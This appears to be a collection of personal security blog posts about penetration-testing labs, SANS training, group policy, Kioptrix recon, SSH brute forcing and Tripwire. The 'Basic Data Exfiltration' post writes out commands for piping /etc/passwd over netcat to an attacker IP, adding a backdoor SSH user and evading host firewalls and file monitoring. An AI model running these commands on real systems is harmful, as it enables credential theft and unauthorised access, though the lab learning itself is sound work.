SANS SEC660

Hey all,

I'm excited to let you guys know that I'll be taking the SEC660 class offered by SANS Institute. For the whole of next week (5.5 days), the course will be covering more advance areas of a penetration tester and I can't wait! More information on the SEC660 can be found here: https://www.sans.org/course/advanced-penetration-testing-exploits-ethical-hacking

Previously, I took the 'basics' version of the curriculum by SANS, SEC560, and found that the course teaches you more than 'academic materials' or 'theories' but provide you with practical and working knowledge to do your job as a security professional. In addition, the instructors are veteran professionals themselves and they have shared quite a fair bit of their on-the-job experiences where are extremely valuable.

If you're taking SEC660 or other courses next week in Secure Singapore 2013, drop me a note to link up and I'll buy you a cuppa.

Break To Protect,
J.S.

Setting up a Penetration Testing Environment

Just a while ago, I was talking to another security enthusiast and we were discussing on "how to set up a pentest environment at home". The worse thing is that I only had access to Vmware workstation and attacking from a Backtrack 5 to a vulnerable machine. But that's just ONE hop and REAL environments have multiple hops (e.g. through a Firewall, DMZ, internal and one more internal).

Although I've read a couple of articles regarding setting up penetration testing environment, I still had no idea how to make one until yesterday. I was reading up on VMWare stuffs, I discovered this valuable page that can solve the problem of virtualizing your attacking and victim machines with firewalls and load balancers in the equation to test. Try reading this:
http://www.vmware.com/support/ws55/doc/ws_net_configurations_custom.html

Pre-requisite:
1. RAMS, LOTSA RAMS (I'm on 8GB)
2. Enough CPU resources (I'm on i5)
3. OF course, enough HDD space (I'm on 128SSD and 500HDD)
4. VMWare Workstation (I'm on a 8)
5. VMWare images (in this demo, I'll be using: BTR3, Smoothwall 3 Polar, An Exploitable Machine)

Configuring your VMWare Network Adaptors:
BTR5 - Two Network Adaptors
1. Bridged (or Vmnet 0)
2. VMnet 9 (Set Host-only)

Smoothwall 3 - Two Network Adaptors
1. VMnet 9 (Set Host-only)
2. VMnet 2 (Set Host-only)

Win XP / Metasploitable / KioptrixOther vulnerable victim machines
1. VMnet 2 (Set Host-only)

VMWare Workstation - Open Edit -> Virtual Network Editor
Add VMnet 2 and 9. DHCP is optional.

* Whatever IP you used for the VMnet, please do not use x.x.x.1 as they are used by the VMWare's Virtual Switches
Setting up your network:
BTR5 (*your eth[num] may be different, so adjust accordingly)
1. eth0 to your real local network address. For mine is 10.0.0.x/24. You'll be able to access internet from your backtrack5 for apt-get installs and wget of useful tools ;)
2. eth1 to 10.0.9.3/24
set your default gateway to 10.0.9.2 (Smoothwall 3's IP)

Smoothwall 3
1. Login as 'root' using 'happydays' as password
2. set your eth0 to 10.0.9.2/24
3. set your eth1 to 10.0.2.2/24
* Remember, don't get confused with your network adaptors connecting to their respective VMnets.

Win XP
1. Set your "Local Area Connection" interface to 10.0.2.100/24 and gateway to 10.0.2.2 (Smoothwall 3's IP also)

By now you should be able to do WIN XP -PING-> BTR5 and get a response.
However, you won't be able to have BTR5 ping WIN XP for some reasons.

Now it's a good time to WEB LOGIN to your Smoothwall 3's and start configuring it.
https://10.0.2.2:441/ using 'admin' and password as 'happydays'

This post I won't be sharing on the Smoothwall's configuration for port fowarding and other configuration. And REMEMBER, to make your Smoothwall's INTERFACE CONFIGURATION stay persistent, you'll need to CHANGE the Interfaces' IP address using the Web GUI.

Need help? Send me an email: breaktoprotect(at)gmail(dot)com

Thanks for reading. Happy fun times, people~

Break To Protect,
J.S.

Klutz with Local Group Policy

Part of my work requires me to perform configuration review of my clients' security settings of their hosts. So one of them is a 2003 and I was experimenting with a VM image. It took me quite a while searching on google to find the problem WHY my gpresults keep showing "No local group policy applied (empty)" despite me changing some settings in gpedit.msc.

Long story cut short, you NEED to set something under BOTH 'Computer Configuration' and 'User Configuration'. So if even you've set a trillion settings on 'Computer Configuration' and none on 'User Configuration', you'll get zilch when you do a gpresult/z>gpresults_%computername%.txt. And the same applies vice versa.[1]

After setting ONE item under 'User Configuration', I saw that my Local Group Policy was finally applied when I perform the gpresult. Awesome and phew~ Thank you forum folks from www.techexams.net

Break To Protect,
J. S.


Reference(s):
[1] http://www.techexams.net/forums/mcsa-mcse-windows-2003-general/66468-gpo-were-not-applied-because-they-were-filtered-out.html

Basic Data Exfiltration

So you pwned the system and got root access, awesome but what's next? Oh, I need to get the /etc/passwd and /etc/shadow out for a start. Ok how?

There are a couple of ways to do it:

1. Meterpreter's 'download' command

It's great if you're using meterpreter as the payload. Simple and hassle free. Just 'cd' and 'pwd' through the victim machine's directory without having to worry about the OS platform. But the limitation is if you are not using metasploit to pwn your victim machine, then you can't do this.

2. Netcat

Meow! Using this network utility to do a transfer of a binary file is definitely a viable option. 

All you'll need to do is:

Attacking Machine:~/goodies_folder/# nc -l -p 4444 > file_i_am_stealing.ext

Victim Machine:~/etc/# cat passwd | nc 192.168.1.200 passwd

* 192.168.1.200 is, of course, the attacker's machine IP address

Let's say the machine you've compromised has a host-based firewall that whitelist ports and deny all others, there are two ways to circumvent this:

- Tweak the iptable <= Not recommended, coz' you're changing critical configuration of the host machine. I wouldn't want to trigger the IPS or FIM monitoring this victim machine :S

- Shut down a service and hijack the port. <= Say XYZ service is a pretty much unused but available listening on port 112. Shut down the XYZ service, perform the exfil and then turn it back up. 

3. SSH

If the SSH daemon is up, create a new user e.g. ted

Victim Machine:~/# /usr/sbin/useradd ted

 Victim Machine:~/# /usr/bin/passwd ted

* Set your password 

Victim Machine:~/# echo >> /etc/ssh/sshd_config AllowUsers ted

Remember to do a netstat -tulpn | grep sshd to make sure that the SSH service is up.

Attacker's Machine:~/# ssh ted@192.168.1.100 password123

4. wget
Good if your victim's machine has a apache webserver up and running.
Simply copy all the files you wanna exfil to /var/www/html
and then:

Attacker's machine:~/# wget http://192.168.1.100 file_you_wanna_retrieve.ext 

Again, you want to make sure that your Apache is running ;)

5. Other ways
There are a couple of more ways but I need to run already, so here's some brief mentions:
- FTP <-- Set up FTP and SCP your way files through
- Covert Channels <-- You can craft ICMP packets and fit your data inside. Haven't tried it yet, but will blog it when I do.
- Email <-- It's lame, but if you got startx or you've VNC-ed into your victim's machine, you can exfil through web browsers =D

Alrighty, hope these helps. Gotta run. Happy fun times~

Break To Protect,
J.S. 

Nipper Studio Licensing Protection Bypass

Greetings all,

Ever heard of Titania's Nipper Studio (previously known as Nipper One)? It's a security audit tool which takes in configuration files such as your cisco running-configs or your sonicwall enchanced OS's configuration files and generates a very nice and comprehensive report on the device's current security posture. Especially when you don't have time going through files and files of configurations, Nipper Studio will do the audit job for you. Unfortunately, it's NOT open-source (was, but no longer) so you'll need to purchase it. For more information, visit: https://www.titania-security.com/nipperstudio

I was just evaluating the usefulness of the tool and I decided to want to move my eval license (or what's left of it) over to another computer, I couldn't. The license codes won't authenticate in the new machine. So I'll just looking around the directory in hope to 'transfer' my license over but couldn't find the license file. Guess what, it's in the registry and after some analysis, I managed to get it over. UNfortunately, I also discover a flaw in the licensing protection. This flaw allows you to repeatedly audit on devices with only 1 single working license. Hint: Work the registry ;) Such an awesome software yet with poor licensing protection - what a shame! =D

*Sorry guys, I will not be sharing the step-by-step cracking as you know, lawsuit, -$, jail-term, blah.

** If you happen to be Titania, and wish to find out more on the license exploitation, please contact me: breaktoprotect@gmail.com and I'll gladly work with you to resolve this. And of course, I'd expect you to at least buy me at least a cup of coffee. :)

Break to protect,
J.S.

Kioptrix Noob-ing #1

As usual, I'll be reading PDF books on my tablet on my way to work. Train rides can get really boring. Anyhow, I'm currently reading "Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide". I'm 100+ pages into it and i must say it has been informative. Get yours at http://www.amazon.com/Advanced-Penetration-Testing-Highly-Secured-Environments/dp/1849517746 or your *ahem* friends who might have it. 

So while I'm perusing through the pages, it recommended a Virtual Machine (VM) called Kioptrix to be downloaded at: http://www.kioptrix.com/blog/ for security testing purpose. The main objective is to obtain ROOT privileges through several ways you can think of: dictionary/bruteforce password, exploit, etc. (but since you can't do client-side attack, you probably can't social engineer, drive-by, mitm/sniff/, etc). Although there's a port 80 (and a 443) opened, you might not be able to do much via web attacks (but I might be wrong so drop a comment if you manage to do it =P ). 

Metasploit on Debian Raspberry (Soft-float) - Bad idea

Still obsessed with my little ARM friend, I tried to install metasploit on it. BUT, big BUT, it is SLOW. I don't mean "ah takes 15seconds" but "WTF, it's been 5minutes and i can't even bring up msfconsole" slow. Annoying as hell, I decided to rm -r msf3. I'll go back to BackTrack when I decide to proceed with an exploit. Yes, with several sweet ports open I would like to toss in some ready-made attacks to gain shell. However, I shall reserve it for later. 

*SPOILER ALERT*: Although I'm not pasting the results of the Kioptrix, I might reveal a few things that you may wish to discover yourself while playing around with Kioptrix. If you want to do Kioptrix all by your own without any influence/advice/help, please do not view the content below. You have been warned!

Recon & Next step against Kioptrix 

You can't do much except to see this very nice screen via VMware workstation (or vmplayer):

This VM will sit in your subnet. So if you're on 192.168.0.0/24, it might be a 192.168.0.5.

Remember, you'll need a DHCP (in this case my home router) in order for Kioptrix to get its IP.

So what I did so far:

1. Fping - sweep the whole friggin' subnet and identify the sorethumb.

2. Nmap - your fundamental reconnaissance, preferrably with OS detection and NSE scripts.

* I won't be pasting the spoiler results.

3. Bruteforce - even as I speak, my good ol' Rasp pal is bruteforcing the crap out of the Kioptrix. 

Python SSH Bruteforce

It's the standard garden variety bruteforcing in attempt to login by "guessing" the password on the SSH server listening on port 22. Either you do the dictionary attack (commonly used words, phrases, etc) or a literal bruteforce (every possible character set) and then pray that you get in. Not very elegant but heck, if it works, why not?

Btw, I'm using Christian Martorella's python program. More instructions at:

http://zeldor.biz/2011/01/how-to-bruteforce-ssh/ 

with the password list:

wget http://dazzlepod.com/site_media/txt/passwords.txt

I've been wanting to install Nessus 5 on it but seems like it only supports i386/x86-64 arch (RPi's ARM arch). Meanwhile, I'll keep searching for decent vulnerability scanners that can installed and used on the RPi.

Happy fun times~

Break To Protect,

J.S.

Basics FIM-ing

What's FIM?

FIM stands for 'File Integrity Monitoring'. It's a host-based IDS that detects any changes to files, especially those which sits in critical directories such as /etc/, /boot/, /lib/modules, /root/ or in windows your system or system32 folder. You get to pick and choose ;)

How does it work?

The FIM will do a hash (MD5, SHA-1, etc) on the target file or directory that is chosen to protect, and then securely keep this 'hash' as a BASELINE. So periodically, the FIM will do same hashing task but compare it with the BASELINE 'hashes' generated previously.

e.g. I want to monitor /folderX/ and its contents.

The FIM can be set to trigger warning if:

#1 Attackers add/remove files within /folderX/

or

#2 Attackers EDIT one of my existing files within /folderX/

This means that if any attacker attempts to upload foreign objects, be it malware or a netcat program into the monitored system, the FIM will trip and the administrators will start their prowl. 

So, what's cooking?

To avoid such IDS, the first step is to play around with one in your own lab environment. So I've downloaded Tripwire (www.tripwire.org) on my Debian Raspberry PI to experiment around a little. If you're using Debian, you can get it by:

sudo apt-get install tripwire

* If you get some funky error messages, do this first: 

sudo apt-get update

Setting up isn't hard. To trigger the Tripwire for testing purposes, just add a random txt file in your /root/: 

sudo touch /root/ intrusion_vector.txt

And it should trip when you do a:

sudo tripwire --check 

But of course, this is NOT the full instructions. There are config and policy files to talk about. The steps from  "compiling" the policy files, generating the baseline database and to the cron job that continually performs the --check command, I'm not really inclined to explain them as I've found one site which is extremely helpful. So I'll recommend Meryll Larkin's tutorial to Tripwire:

http://www.alwanza.com/howTo/linux/tripwire.html

She's a lifesaver to setting this FIM up! :) Thanks Larkin.

If you need some help, feel free to drop your comments below and I'll see what I can do.

Peace out,
J.S.